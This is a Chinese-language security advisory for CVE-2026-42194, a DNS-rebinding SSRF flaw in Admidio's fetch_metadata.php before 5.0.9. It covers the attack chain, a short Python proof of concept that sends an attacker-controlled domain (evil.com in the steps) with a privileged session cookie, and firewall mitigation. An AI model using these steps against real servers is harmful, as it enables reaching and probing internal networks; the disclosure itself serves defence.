IPBUF安全漏洞报告
English
CVE-2026-42194 CVSS 6.8 中危

CVE-2026-42194 Admidio SSRF漏洞(DNS重绑定)

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-42194
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Admidio

相关标签

SSRFDNS RebindingTOCTOUAdmidio中危

漏洞概述

Admidio是一个开源的用户管理解决方案。在5.0.9版本之前,其fetch_metadata.php文件中的SSRF修复不完整。尽管代码验证了解析后的IP地址,但将原始基于主机名的URL传递给了curl_init()函数。这导致了一个DNS重绑定TOCTOU(检查时间与使用时间)窗口,攻击者可利用此窗口将请求重定向到内部IP地址。该问题已在5.0.9版本中修复。

技术细节

该漏洞源于Admidio在修复SSRF漏洞时的逻辑缺陷,具体表现为典型的TOCTOU(Time-of-Check to Time-of-Use)竞态条件。在fetch_metadata.php中,程序首先检查DNS解析后的IP地址是否为内网地址,如果合法,随后将原始的URL传递给curl_init()进行请求。攻击者可以利用DNS重绑定技术,在Check阶段控制域名解析到一个合法的公网IP,但在Use阶段迅速将DNS解析切换为内网IP。由于cURL使用的是原始URL,它会再次查询DNS,从而绕过之前的IP校验,成功向内网资源发起请求。

攻击链分析

STEP 1
1. 获取权限
攻击者需要获取Admidio的高权限账户(PR:H),以便访问fetch_metadata.php接口。
STEP 2
2. 准备恶意域名
攻击者搭建一个DNS重绑定服务器,配置域名(如evil.com)初始解析为合法的公网IP地址。
STEP 3
3. 发起请求
攻击者向fetch_metadata.php发送请求,参数url指向恶意域名。
STEP 4
4. DNS重绑定
在Admidio验证IP通过后,但在cURL发起请求前,将DNS解析切换为目标内网IP(如127.0.0.1)。
STEP 5
5. 内网探测
cURL请求被发送到内网IP,导致SSRF攻击,攻击者可读取内部服务元数据或进行端口扫描。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Concept: DNS Rebinding # 1. Attacker controls a domain (e.g., evil.com) pointing to a public IP (Check phase). # 2. Attacker sends a request to Admidio's fetch_metadata.php with url=http://evil.com. # 3. Admidio resolves evil.com -> Public IP (Passes validation). # 4. Before curl executes, attacker changes DNS to point to 127.0.0.1. # 5. curl_init() resolves evil.com -> 127.0.0.1 (Accesses internal resource). target_url = "http://target-admidio-site/adm_program/modules/rooms/fetch_metadata.php" malicious_url = "http://attacker-controlled-domain.com/metadata" payload = { "url": malicious_url } # Requires High Privilege Account Cookie cookies = { "admidio_session_id": "valid_high_priv_session_cookie" } response = requests.post(target_url, data=payload, cookies=cookies) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}")

影响范围

Admidio < 5.0.9

防御指南

临时缓解措施
建议在网络出口处配置严格的防火墙规则,禁止Admidio服务器访问内网IP段(如127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)。此外,可以暂时禁用fetch_metadata.php功能或限制只有受信任的IP才能访问该接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表